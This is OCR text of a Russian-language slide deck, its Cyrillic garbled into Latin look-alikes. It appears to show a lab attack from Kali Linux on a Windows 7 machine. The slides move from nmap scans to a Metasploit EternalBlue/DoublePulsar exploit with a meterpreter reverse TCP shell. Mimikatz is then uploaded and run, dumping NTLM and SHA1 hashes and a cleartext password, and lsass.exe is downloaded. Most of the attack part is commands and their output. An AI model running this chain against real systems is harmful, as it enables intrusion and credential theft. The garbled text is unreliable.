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.[loagroToBka A/19 NnpoBeAeHUA aTaKMW.

-Heobxoamnmo Vbox c Kali linux n Windows 7.

-Heob6xo04MMO HAaCTPOUTL CETb MEXAY MALLUMHAMM.



Mimikatz.

® Mimikatz — MepexBaT naposen oTKkpbITbix ceccum B Windows, MHCTPYMEHT,

peannsyowmn ¢yHkumoHan Windows Credentials Editor n nossonsitowmn
M3BJ1eYb Ay TEHTUPUKALNOHHbIE AaHHbIE 3a/10MMHUBLLETrOCSA B CUCTEME
No/ib30BaTeNsA B OTKPLITOM BUAE.



2. AHa/IM3 ceTu ncnosiblyd nporpammy Nmap.

root@kali: ~ @ ® ©

®aun [lpaska Bwug [lovck TepmuHan Cnpaska

:~# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default _gateway 0.8.6.8 UG 100 0 © etho
192.168.10.0 9:8.0.60 255.255 .255.6 U 100 0 © etho
:~# nmap -sn 192.168.10.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 06:12 EDT
Nmap scan report for 192.168.10.10
Host is up.
Nmap done: 256 IP addresses (1 host up) scanned in 23.69 seconds
:~# nmap -sn 192.168.10.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 06:13 EDT
Nmap scan report for 192.168.10.1
Host is up (0.0062s latency).
MAC Address: D4:BF:7F:04:44:28 (Upvel)
Nmap scan report for 192.168.10.4
Host is up (0.079s latency).
MAC Address: 68:17:29:D0:F5:9D (Intel Corporate)
Nmap scan report for 192.168.10.6
Host is up (0.00026s latency).
MAC Address: 00:E1:29:02:2D:68 (Unknown)
Nmap scan report for 192.168.10.10
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.24 seconds

:~#l




3. IP-agpec Kali linux

root@kali: ~ @ ® O

CnpaBka

Mpaska Bwug [llomck TepMmwuHan

:~# ifconfig

ethO: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.10.10 netmask 255.255.255.0 broadcast 192.168.10.255
inet6 fe80::a00:27ff:fe95:8c5e prefixlen 64 scopeid Ox20<link>
ether 08:00:27:95:8c:5e txqueuelen 1000 (Ethernet)

RX packets 111 bytes 11693 (11.4 KiB)

RX errors © dropped © overruns 0 frame ©

TX packets 37 bytes 3394 (3.3 KiB)
TX errors © dropped © overruns © carrier © collisions ©

dann

lo: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1lO<host>
loop txqueuelen 1000 (Local Loopback)

RX packets 18 bytes 1038 (1.0 KiB)
RX errors © dropped © overruns © frame ©

TX packets 18 bytes 1038 (1.0 KiB)
TX errors © dropped © overruns © carrier © collisions ©

s ~# .



4,.CKaHMpPOBaHWe Ha HaIMYMe OTKPbITbIX
MOpPTOB.

root@kali: ~ @ ® O

®ann [lpaska Bug [louck TepmuHan Crpaska
:~# nmap -Pn 192.168.10.6

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 06:16 EDT

Nmap scan report for 192.168.10.6

Host is up (0.00036s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

2869/tcp open 1icslap

MAC Address: 00:E1:29:02:2D:68 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 26.85 seconds



5. 3anyckaem Metasploit

root@kali: ~ e ® O

®ann [lpaska Bug [llouck Tepmmunan Cnpaska

:~# msfconsole
Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 54327
could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting
TCP/IP connections on port 54327
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6./lcnonbsyem akcnaouT
Eternalblue_doublepulsar

root@kali: ~

®ann [llpaska Bwug [louck TepmuHan Cnpaska

--=] 539 payloads - 42 encoders - 10 nops

]

--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

> cd Eternalblue-Doublepulsar-Metasploit/
> use exploits/windows/smb/eternalblue doublepulsar
exploit( ) > set
rocessinject => lsass.exe
msf exploit( ) > set
targetarchitecture => x64
msf exploit( ) set
reverse tcp
payload => windows/x64/meterpreter/reverse tcp
msf exploit(
lhost => 192.168.10.10
msf exploit(
lport => 445
msf exploit(
rhost => 192.168.10.6
msf exploit( )
rhost => 192.168.10.9
msf exploit( ) >

[*#] Started reverse TCP handler on 192.168.10.10:445
[*] 192.168.10.9:445 - Generating Eternalblue XML data

processinject lsass.exe

targetarchitecture x64

payload windows/x64/meterpreter/

lhost 192

lport 445

rhost 192

rhost 192

.168.10.10

.168.10.6

Salape a2 Fule



7.YcnewHoe noayvyeHme A4oCcTyna.

root@kali: ~ @ ® O

®ann [lpaska Bupg [ouck Tepmuunan Cnpaska

msf exploit( ) > set rhost 192.168.10.9
rhost => 192.168.10.9
msf exploit( ) > run

[*] Started reverse TCP handler on 192.168.10.10:445

[*] 192.168.10.9:445 - Generating Eternalblue XML data

[*] 192.168.10.9:445 - Generating Doublepulsar XML data

[*] 192.168.10.9:445 - Generating payload DLL for Doublepulsar

[*] 192.168.10.9:445 - Writing DLL in /root/.wine/drive c/eternalll.dll
192.168.10.9:445 - Launching Eternalblue...
rerr:ntdll:RtlpwaitForCriticalSection section ©x7bd117e@ "loader.c: loader section"
timed out in thread 0026, blocked by 0025, retrying (60 sec)
:err:service:process send command receiving command result timed out
:err:service:process send command receiving command result timed out
:err:plugplay:handle bus relations Failed to load driver L"WineHID"

[+] 192.168.10.9:445 - Pwned! Eternalblue success!

[*] 192.168.10.9:445 - Launching Doublepulsar...

000f:err:service:process send command receiving command result timed out

[#*] Sending stage (206403 bytes) to 192.168.10.9

[*] Meterpreter session 1 opened (192.168.10.10:445 -> 192.168.10.9:49169) at 2019-03-17

10:30:12 -0400

[+] 192.168.10.9:445 - Remote code executed... 3... 2... 1...

meterpreter > |



Meterpreter

Komanga Onucaxume

cat BuieecTn cogepxumoe ¢aina Ha 3KpaH

cd CMEeHUTbL AUPEeKTOpUK

checksum Mony4uTb KOHTpoOnbHyw cymmy O(aina

cp CkonupoeaTe (Qain/gupekTopu B Apyroe MecTo
dir BuBecTu cnucok (Qainoe (ncesgonum ana 1s)
download 3arpy3auTe ¢ain wan AuUpeKTopur

edit OTtpepakTupoBaTth Qain

getlwd BoieecTn nokanbHyw pabouqyw gupekTopui

getwd BuieecTn paboyyw aupekTopui

lcd W3menuTb nokansvHyw paboyy gupexkTopuw

1pwd BoieecTu nokansHyw paboyyw gupekTopui

1s NokazaTte cnucok ¢Qainoe

mkdir CozpaTe AUMpEeKTOpUK

mv NepemecTute Qaiin/avpekTopuw B Apyroe MecTo
pwd BuieecTu pabouyw aupekTopuw

rm YaanuTe yKazauHuidi Qaiin

rmdir YaanuTe AUPEKTOpUK

search Mouck ¢ainoe

show_mount BolBeCTM BCEX TOYeK MOHTUMPOBAHUA/NOrUHeCKUX AUCKOB

upload Buirpyzute ¢ain wam aupekTopurl




8.3arpy3ska Mimikatz.

root@kali: ~ @ ® O

®ann [llpaska Bwug [lonck TepmuHan CnpaBka

Type Last modified Name

40777/ rwXrwxrwx dir 2019-03-17 :46:16 $Recycle.Bin
40777/ rwXrwxrwx dir 2009-07-14 :08:56 Documents and Settings
40777/ rwXrwxrwx dir 2009-07-13 :20:08 PerfLogs
40555/r-Xr-xr-x dir 2017-03-07 :55:03 Program Files
40555/ r-Xr-xr-x dir 2019-03-17 :49:32 Program Files (x86)
40777/ rwXrwxrwx dir 2019-03-17 :44:35 ProgramData
40777/ rwXrwxrwx dir 2019-03-17 :44:36 Recovery
40777/ rwXrwxrwx dir 2019-03-17 :38:26 System Volume Information
40555/ r-xXr-xr-x dir 2019-03-17 :45:00 Users
40777/ rwXrwxrwx dir 2019-03-17 :46:17 Windows
40777/ rwxXrwxrwx O dir 2017-03-07 #21:15 driversinstall

0 fif 1969-12-31 :00:00 pagefile.sys
40777/ rwxXrwxrwx O dir 2017-01-30 :50:51 AKTuBaTOp

meterpreter > upload '/root/Desktop/mimikatz.exe'

[*] uploading : /root/Desktop/mimikatz.exe -> mimikatz.exe

[*] Uploaded 905.16 KiB of 905.16 KiB (100.0%): /root/Desktop/mimikatz.exe -> mimikatz.e
xe

[*] uploaded : /root/Desktop/mimikatz.exe -> mimikatz.exe

meterpreter > |j



9.[1poBan.....

IWHOCTL nepeaayqn: 100%]

@S NOD32 ANTIVIRUS v X

A Yrposa ypaneHa

O6vexT yrposa (Wint4/Riskware.Mimikatz.D) naiiger 8
daiine, K KOTOPOMY NPUACKEHNE

Xocr-npouecc Windows (Rundll32) nbitaerca

noAY4YUTE 40CTYymN.

Pain ypanen.




root@kali: ~

®ainn [llpaska Bwug [lonck TepmuHan CnpaBka

meterpreter > shell

Process 2648 created.

Channel 2 created.

Microsoft Windows [Version 6.1.7601]

(c) GO[RGE GHGGHEEE (Microsoft Corp.), 2009. 66 [HGGGGIRG.

“ls" 66 [H066 GU0B[ R0 666 6636
vOOOLe0E, G PRE 66 666 BOLLUE X 000 .

%66 U GOB[H.. C 60 V0B0G GO[
G6LH6 60666 [f: 7CDA-3447

UO0B[ A0 BB6OE C:\

.03.2017 22:21 driversinstall
.03.2019 20:36 9264880 mimikatz.exe
.07.2009 09:20 PerfLogs

.03.2017 00:55 Program Files
.03.2019 19:49 Program Files (x86)
.03.2019 19:45 Users




10. 3anyck Mimikatz.

root@kali: ~

®ann [paska Bupg [lowck Tepmuuan Crpaska

"#H# v #HE' Vincent LE TOUX ( vincent.letoux@gmail.com )
‘REREH > http://pingcastle.com / http://mysmartlogon.com kkk /

mimikatz # sekurlsa::logonpasswords

Authentication Id : © ; 109352 (00000000:0001ab28)
Session : Interactive from 1
User Name : Bratok
Domain : Bratok-NK
Logon Server : BRATOK-MNK
Logon Time : 17.63.2019 20:27:33
SID : S$-1-5-21-3429717836-1035089706-3370328478-1001
msv :
[00000003] Primary
* Username : Bratok
* Domain : Bratok-NK
* LM : d7093a4381328652aad3b435b51404ee
* NTLM : e52591786b3d321c7a4808e15900625a
* SHAl : a055019528bdbdeddbfe531471ff733e113c2111
tspkg
* Username : Bratok
* Domain : Bratok-NK
* Password : jyla28
wdigest
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11.Ycnex.

© ; 109352 (POOPPPOO:0001ab28)

Interactive from 1

Bratok

Bratok-MNK

BRATOK-MNK

17.03.2019 20:27:33
S-1-5-21-3429717836-1035089706-3370328478-1001

Primary

: Bratok
Bratok-MNK
d7093a438f328652aad3b435b51404ee
e52591786b3d321c7a4808e15900625a
a055019528bdbdeddbfe531471ff733e113c2111

Bratok
Bratok-MNK
jylaz28




12. Cnocob N2 2 kpaxa Isass.exe

vy J U Yy WAWA " - VAW L) J

stdapi fs stat: Operation failed: The system cannot find the file specified.
eterpreter > download lsass.exe /root/Desktop/
[*] Downloading: lsass.exe -> /root/Desktop//lsass.exe
[*] Downloaded 30.50 KiB of 30.50 KiB (100.0%): lsass.exe -> /root/Desktop//lsas

[*] download : lsass.exe -> /root/Desktop//lsass.exe
eterpreter >



Cnacmnbo 3a BHUMaHue!



